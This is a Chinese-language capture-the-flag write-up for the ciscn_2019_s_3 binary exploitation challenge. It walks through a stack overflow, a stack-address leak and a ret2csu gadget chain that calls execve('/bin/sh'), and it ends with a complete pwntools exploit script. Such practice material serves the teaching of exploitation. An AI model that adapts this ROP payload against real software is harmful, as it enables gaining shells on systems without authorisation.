pwn ciscn_2019_s_3
checksec一下发现是64位文件
并只开了NX保护
打开IDA 进入main函数直接转到vuln(可以看到明显栈溢出var_10距离rpb 0x10)
发现有两个系统调用号,系统调用号的传参方式是先将调用号传入rax,然后参数依次从左至右传入rdi,rsi,rdx寄存器中,最后返回值存入rax
看到最后有点奇怪开始时pop rbp mov rbp,rsp
程序结束的时候直接是:retn(pop rip) 这里直接就跳出vuln函数了
所以rbp始终都是等于rsp 所以vuln函数结束后可以直接给ebp覆盖到想要的地址
在ida中还有gadgets函数其中还有两个系统调用
mov rax, 3Bh ret可以用来调用execve(‘/bin/sh’,0,0)后面有两个参数0
接下来可以构造payload
首先写入/bin/sh使栈溢出然后覆盖rbp转到vuln函数
payload=’/bin/sh\x00’*2+p64(vuln) 然后write往栈上写入0x30
先接收0x20
接下来会接收8个单元的栈地址要减去栈的原地址
然后接着第二次payload先使栈溢出然后使rax为3B(59)因为r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码 在进行传参 然后再转到mov rdx r13 接这要进行栈平衡最后就可以pop rdi 传sys的参数binsh调用sys函数
from pwn import *
from LibcSearcher import *
#p=remote('node3.buuoj.cn',25468)
p=process('ciscn_s_3')
elf=ELF('ciscn_s_3')
vuln=0x4004ED
pop_rbx=0x40059a
mov_rdx_r13=0x400580
ret=0x4003A9
rax_59_ret=0x04004E2
syscall=0x400517
pop_rdi=0x04005a3
payload='/bin/sh\x00'*2+p64(vuln)
p.sendline(payload)
p.recv(0x20)
stack=u64(p.recv(8))
binsh=stack-0x118
payload='/bin/sh\x00'*2+p64(rax_59_ret)+p64(pop_rbx)+p64(0)#使rbx为0使后面可以call r12
payload+=p64(1)+p64(binsh+0x10)+p64(0)+p64(0)+p64(123123123)
payload+=p64(mov_rdx_r13)+'a'*0x38#栈平衡
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(syscall)
p.sendline(payload)
p.interactive()